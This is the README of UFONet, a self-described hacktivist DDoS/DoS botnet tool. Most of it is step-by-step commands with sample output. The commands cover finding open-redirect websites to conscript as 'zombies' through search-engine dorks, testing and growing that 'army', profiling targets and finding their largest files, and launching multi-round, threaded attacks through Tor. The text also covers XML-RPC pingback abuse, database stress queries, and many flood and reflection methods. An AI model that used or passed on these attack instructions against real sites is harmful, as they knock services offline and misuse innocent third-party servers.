README.txt 16 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530
  1. ===========================================================================
  2. 888 888 8888888888 .d88888b. 888b 888 888
  3. 888 888 888 d88PY888b 8888b 888 888
  4. 888 888 888 888 888 88888b 888 888
  5. 888 888 8888888 888 888 888Y88b 888 .d88b. 888888
  6. 888 888 888 888 888 888 Y88b888 d8P Y8b 888
  7. 888 888 888 888 888 888 Y88888 88888888 888
  8. Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b.
  9. 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888
  10. ===========================================================================
  11. Welcome to UFONet [ DDoS+DoS ] Botnet/C&C/Darknet ;-)
  12. ===========================================================================
  13. ###############################
  14. # Project info
  15. ###############################
  16. - Website:
  17. https://ufonet.03c8.net
  18. - IRC:
  19. irc.freenode.net - #ufonet
  20. ###############################
  21. # FAQ
  22. ###############################
  23. https://ufonet.03c8.net/FAQ.html
  24. ###############################
  25. # Summary
  26. ###############################
  27. UFONet - Is a set of hacktivist tools that allow launching coordinated
  28. DDoS and DoS attacks and combine both in a single offensive.
  29. It also works as an encrypted DarkNET to publish and receive
  30. content by creating a global client/server network based on
  31. a direct-connect P2P architecture.
  32. ###############################
  33. # Installing
  34. ###############################
  35. UFONet runs on many platforms. It requires Python (>=3) and the following libraries:
  36. python3-pycurl - Python bindings to libcurl (Python 3)
  37. python3-geoip - Python3 bindings for the GeoIP IP-to-country resolver library
  38. libgeoip-dev - Development files for the GeoIP library
  39. libgeoip1 - non-DNS IP-to-country resolver library
  40. python3-whois - Python module for retrieving WHOIS information - Python 3
  41. python3-crypto - cryptographic algorithms and protocols for Python 3
  42. python3-requests - elegant and simple HTTP library for Python3, built for human beings
  43. python3-scapy - Packet crafting/sniffing/manipulation/visualization security tool
  44. You can automatically get all required libraries using (as root):
  45. python3 setup.py install
  46. For manual installation on Debian-based systems (ex: Ubuntu), run:
  47. sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev
  48. On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
  49. pip3 install GeoIP
  50. pip3 install python-geoip
  51. pip3 install pygeoip
  52. pip3 install requests
  53. pip3 install pycrypto
  54. pip3 install pycurl
  55. pip3 install whois
  56. pip3 install scapy-python3
  57. Source libs:
  58. * Python: https://www.python.org/downloads/
  59. * PyCurl: http://pycurl.sourceforge.net/
  60. * GeoIP: https://pypi.python.org/pypi/GeoIP/
  61. * Python-geoip: https://pypi.org/project/python-geoip/
  62. * Pygeoip: https://pypi.org/project/pygeoip/
  63. * Whois: https://pypi.python.org/pypi/whois
  64. * PyCrypto: https://pypi.python.org/pypi/pycrypto
  65. * PyRequests: https://pypi.python.org/pypi/requests
  66. * Scapy-Python3: https://pypi.org/project/scapy-python3/
  67. * Leaflet: http://leafletjs.com/ (provided)
  68. ###############################
  69. # Searching for 'zombies'
  70. ###############################
  71. UFONet can dig on different search engines results to find possible 'Open Redirect' vulnerable sites.
  72. A common query string should be like this:
  73. 'proxy.php?url='
  74. 'check.cgi?url='
  75. 'checklink?uri='
  76. 'validator?uri='
  77. For example, you can begin a search with:
  78. ./ufonet -s 'proxy.php?url='
  79. Or providing a list of "dorks" from a file:
  80. ./ufonet --sd 'botnet/dorks.txt'
  81. By default UFONet will use a search engine called 'DuckDuckGo'. But you can choose a different one:
  82. ./ufonet -s 'proxy.php?url=' --se 'bing'
  83. This is the list of available search engines with last time that they were working:
  84. - duckduckgo [02/2022: OK!]
  85. - bing [02/2022: OK!]
  86. - yahoo [02/2022: OK!]
  87. You can also search massively using all search engines supported:
  88. ./ufonet -s 'proxy.php?url=' --sa
  89. To control how many 'zombies' recieved from the search engines reports you can use:
  90. ./ufonet --sd 'botnet/dorks.txt' --sa --sn 20
  91. Or you can make the tool to search for the maximun number of results automatically (this may take time!):
  92. ./ufonet --auto-search
  93. At the end of the process, you will be asked if you want to check the list retrieved to see
  94. if the urls are vulnerable.
  95. Do you want to check if the NEW possible zombies are valid? (Y/n)
  96. After that, you will be asked to update the list adding automatically only the 'vulnerable' web apps.
  97. Do you want to update your army? (Y/n)
  98. If your answer is 'Y', your new 'zombies' will be appended to the file named: zombies.txt
  99. -------------
  100. Examples:
  101. + with verbose: ./ufonet -s 'proxy.php?url=' -v
  102. + with threads: ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
  103. ###############################
  104. # Testing botnet
  105. ###############################
  106. UFONet can test if your 'zombies' are vulnerable and can be used for attacking tasks.
  107. For example, open 'botnet/zombies.txt' (or another file) and create a list of possible 'zombies'.
  108. Remember that urls of the 'zombies' should be like this:
  109. http://target.com/check?uri=
  110. After that, launch:
  111. ./ufonet -t 'botnet/zombies.txt'
  112. You can test for XML-RPC Pingback vulnerability related 'zombies', with:
  113. ./ufonet --test-rpc
  114. To check if your 'zombies' are still infected testing the whole botnet (this may take time!) try this:
  115. ./ufonet --test-all
  116. And to check if your 'zombies' are still online run:
  117. ./ufonet --test-offline
  118. Finally, you can order your 'zombies' to attack you and see how they reply to your needs using:
  119. ./ufonet --attack-me
  120. At the end of the process, you will be asked if you want to check the list retrieved to see
  121. if the urls are vulnerable.
  122. Do you want to check if the NEW possible zombies are valid? (Y/n)
  123. After that, you will be asked to update the list adding automatically only the 'vulnerable' web apps.
  124. Do you want to update your army? (Y/n)
  125. If your answer is 'Y', the file: "botnet/zombies.txt" will be updated.
  126. -------------
  127. Examples:
  128. + with verbose: ./ufonet -t 'botnet/zombies.txt' -v
  129. + with proxy TOR: ./ufonet -t 'botnet/zombies.txt' --proxy="http://127.0.0.1:8118"
  130. + with threads: ./ufonet -t 'botnet/zombies.txt' --threads 50
  131. + test whole botnet: ./ufonet --test-all
  132. + test XML-RPCs: ./ufonet --test-rpc
  133. + search for offlines: ./ufonet --test-offline
  134. + attack yourself: ./ufonet --attack-me
  135. ###############################
  136. # Inspecting a target
  137. ###############################
  138. UFONet can search for biggest file on your target by crawlering it:
  139. ./ufonet -i http://target.com
  140. You can use this before to attack to be more effective.
  141. ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx"
  142. -------------
  143. Example:
  144. +input:
  145. ./ufonet -i http://target.com
  146. +output:
  147. [...]
  148. +Image found: images/wizard.jpg
  149. (Size: 63798 Bytes)
  150. ------------
  151. +Style (.css) found: fonts.css
  152. (Size: 20448 Bytes)
  153. ------------
  154. +Webpage (.php) found: contact.php
  155. (Size: 2483 Bytes)
  156. ------------
  157. +Webpage (.php) found: about.php
  158. (Size: 1945 Bytes)
  159. ------------
  160. +Webpage (.php) found: license.php
  161. (Size: 1996 Bytes)
  162. ------------
  163. ================================================================================
  164. =Biggest File: http://target.com/images/wizard.jpg
  165. ================================================================================
  166. -------------
  167. ###############################
  168. # Abducting a target
  169. ###############################
  170. UFONet can provide you some interesting information about your target:
  171. ./ufonet -x http://target.com
  172. -------------
  173. Example:
  174. +input:
  175. ./ufonet -x https://yahoo.com
  176. +output:
  177. [...]
  178. -Target URL: https://yahoo.com
  179. -IP : 206.190.39.42
  180. -IPv6 : OFF
  181. -Port : 443
  182. -Domain: yahoo.com
  183. -Bytes in : 550.09 KB
  184. -Load time: 9.10 seconds
  185. -Banner: ATS
  186. -Vía : http/1.1 usproxy3.fp.ne1.yahoo.com (ApacheTrafficServer),
  187. http/1.1 media-router-fp25.prod.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ])
  188. -WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-)
  189. -Reports:
  190. + CVE-2017-7671 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671
  191. + CVE-2017-5660 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660
  192. [...]
  193. ---------
  194. [Info] Abduction finished... ;-)
  195. -------------
  196. ###############################
  197. # Attacking a target
  198. ###############################
  199. UFONet can attack your target in many different ways.
  200. For example, enter a target to attack with a number of rounds:
  201. ./ufonet -a http://target.com -r 10
  202. On this example UFONet will attack the target a number of 10 times for each 'zombie'. That means that
  203. if you have a list of 1.000 'zombies' it will launch 1.000 'zombies' x 10 rounds = 10.000 requests to the target.
  204. If you don't put any round it will apply only 1 by default.
  205. Additionally, you can choose a place to recharge on target's site. For example, a large image,
  206. a big size file or a flash movie. In some scenarios where targets doesn't use cache systems
  207. this will make the attack more effective.
  208. ./ufonet -a http://target.com -b "/images/big_size_image.jpg"
  209. -------------
  210. Examples:
  211. + with verbose: ./ufonet -a http://target.com -r 10 -v
  212. + with proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
  213. + with a place: ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
  214. + with threads: ./ufonet -a http://target.com -r 10 --threads 500
  215. ###############################
  216. # Special attacks
  217. ###############################
  218. UFONet uses different ways to exploit 'Open Redirect' vulnerabilities.
  219. You can use UFONet to stress database on target by requesting random valid strings as search queries:
  220. ./ufonet -a http://target.com --db "search.php?q="
  221. Also, it exploits (by default) XML-RPC Pingback Vulnerability, generating callback requests and increasing
  222. processing required by target.
  223. You can test your list of 'XML-RPCs zombies' launching:
  224. ./ufonet --test-rpc
  225. ###############################
  226. # Extra attacks
  227. ###############################
  228. - LOIC: https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
  229. - LORIS: https://en.wikipedia.org/wiki/Slowloris_(software)
  230. - UFOSYN: https://en.wikipedia.org/wiki/SYN_flood
  231. - FRAGGLE: https://en.wikipedia.org/wiki/Fraggle_attack
  232. - UFORST: https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood
  233. - SPRAY: https://en.wikipedia.org/wiki/DRDOS
  234. - SMURF: https://en.wikipedia.org/wiki/Smurf_attack
  235. - XMAS: https://en.wikipedia.org/wiki/Christmas_tree_packet
  236. - DROPER: https://en.wikipedia.org/wiki/IP_fragmentation_attack
  237. - SNIPER: https://www.imperva.com/learn/application-security/snmp-reflection/
  238. - TACHYON: https://www.us-cert.gov/ncas/alerts/TA13-088A
  239. - PINGER: https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/
  240. - MONLIST: https://www.us-cert.gov/ncas/alerts/TA14-013A
  241. - UFOACK: https://www.f5.com/services/resources/glossary/push-and-ack-flood
  242. - OVERLAP: https://cyberhoot.com/cybrary/fragment-overlap-attack/
  243. - UFOUDP: https://en.wikipedia.org/wiki/UDP_flood_attack
  244. - NUKE: https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf
  245. All ways could be combined, so UFONet can attack DDoS and DoS, at the same time.
  246. ###############################
  247. # Updating
  248. ###############################
  249. UFONet has implemented an option to update the tool to the latest stable version.
  250. This feature can be used only if you have cloned it from a git respository.
  251. To check your version you should launch:
  252. ./ufonet --update
  253. This will update the tool automatically removing all files from old package.
  254. ###############################
  255. # Generating a 'Blackhole'
  256. ###############################
  257. UFONet has some P2P options to share/keep 'zombies' with other 'motherships'.
  258. * Setup web server with a folder "ufonet", this folder should be:
  259. - located in /var/www/ufonet (default debian/ubuntu install)
  260. - owned by the user running the blackhole
  261. - accessible with http://your-ip/ufonet/
  262. * Start the blackhole with: ./ufonet --blackhole (or python2 blackhole.py)
  263. * Anyone wanting to connect to your server needs to set the --up-to/--down-from
  264. to the ip address of your webserver...
  265. [!]WARNING : this *ADVANCED* function is *NOT* secure, proceed if you really want to.
  266. To start a new 'blackhole' launch:
  267. ./ufonet --blackhole
  268. ###############################
  269. # GUI/Web Interface
  270. ###############################
  271. You can manage UFONet using a Web Interface. The tool has implemented a python web server
  272. connected to the core providing you a more user friendly experience.
  273. To launch it use:
  274. ./ufonet --gui
  275. This will open a tab on your default browser with all features of the tool and some 'extra' options:
  276. - SHIP.NEWS: Allows to read last "news" published by a "mothership"
  277. - SHIP.MISSIONS: Allows to read last "missions" published by a "mothership"
  278. - SHIP.STATS: Allows to review statistics from your "spaceship"
  279. - SHIP.RANKING: Allows to check your "ranking" position
  280. - SHIP.LINKS: Allows to review links published by a "mothership"
  281. - SHIP.STREAMS: Allows to review streams (video/audio/live) published by a "mothership"
  282. - SHIP.TV: Allows to play videos published by a "mothership"
  283. - SHIP.GAMES: Allows to review games from your "spaceship"
  284. - SHIP.BROWSER: Allows to navigate/surf the Internet from a sandbox
  285. - SHIP.WARPS: Allows to interact with a "mothership" to download/upload "zombies"
  286. - GLOBAL.BOARD: Allows to send/receive messages to/from a "mothership" (a forum)
  287. - GLOBAL.GRID: Allows to review statistics from other "spaceships"
  288. - GLOBAL.WARGAMES: Allows to propose and join some real "wargames"
  289. - GLOBAL.RADAR: Allows to review locations published by other "motherships"
  290. - GLOBAL.NEWS: Allows to read news related to UFONet
  291. - [...]
  292. ###############################
  293. # Timelog
  294. ###############################
  295. --------------------------
  296. 02.03.2022 : v.1.8
  297. --------------------------
  298. --------------------------
  299. 14.07.2021 : v.1.7
  300. --------------------------
  301. --------------------------
  302. 17.08.2020 : v.1.6
  303. --------------------------
  304. --------------------------
  305. 08.06.2020 : v.1.5
  306. --------------------------
  307. --------------------------
  308. 01.02.2020 : v.1.4
  309. --------------------------
  310. --------------------------
  311. 10.03.2019 : v.1.3
  312. --------------------------
  313. --------------------------
  314. 03.02.2019 : v.1.2.1
  315. --------------------------
  316. --------------------------
  317. 31.12.2018 : v.1.2
  318. --------------------------
  319. --------------------------
  320. 26.09.2018 : v.1.1
  321. --------------------------
  322. --------------------------
  323. 08.03.2018 : v.1.0
  324. --------------------------
  325. --------------------------
  326. 14.07.2017 : v.0.9
  327. --------------------------
  328. --------------------------
  329. 21.10.2016 : v.0.8
  330. --------------------------
  331. --------------------------
  332. 17.08.2016 : v.0.7
  333. --------------------------
  334. --------------------------
  335. 05.11.2015 : v.0.6
  336. --------------------------
  337. --------------------------
  338. 24.05.2015 : v.0.5b
  339. --------------------------
  340. --------------------------
  341. 15.12.2014 : v.0.4b
  342. --------------------------
  343. --------------------------
  344. 27.09.2014 : v.0.3.1b
  345. --------------------------
  346. --------------------------
  347. 20.09.2014 : v.0.3b
  348. --------------------------
  349. --------------------------
  350. 22.06.2013 : v.0.2b
  351. --------------------------
  352. --------------------------
  353. 18.06.2013 : v.0.1b
  354. --------------------------
  355. ###############################
  356. # Thanks to
  357. ###############################
  358. - BP<3
  359. - UFo & Mandingo & Ikujam
  360. - Phineas Fisher ;-)
  361. - The Shadow Brokers (TSB) ;_)
  362. - World Wide Antifas >-)
  363. -------------------------
  364. ############